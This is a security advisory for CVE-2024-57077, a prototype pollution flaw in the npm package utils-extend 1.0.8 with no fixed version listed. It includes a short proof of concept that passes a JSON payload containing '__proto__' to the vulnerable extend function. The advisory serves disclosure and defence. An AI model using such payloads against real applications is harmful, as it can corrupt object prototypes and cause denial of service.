Advisory

GHSA-7qgg-vw88-cc99

Also known as: CVE-2024-57077

Summary

utils-extend Prototype Pollution

Details

The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

PoC

async function exploit() {
   const utilsextend = require(\"utils-extend\");
   const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}');
   const result = await utilsextend.extend({}, payload);
}

await exploit();

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2025-02-06 06:31 UTC
Modified
2025-09-03 15:22 UTC

Affected packages and fixes

utils-extend

npm · All systems

Affected

  • introduced 0, last affected 1.0.8 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences